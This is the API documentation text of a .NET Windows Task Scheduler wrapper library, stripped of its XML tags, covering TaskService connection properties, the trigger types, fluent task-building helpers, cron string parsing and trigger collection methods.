+ Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . 